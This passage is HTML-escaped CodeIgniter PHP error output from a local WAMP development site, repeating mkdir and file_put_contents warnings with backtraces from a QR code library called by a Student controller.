			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
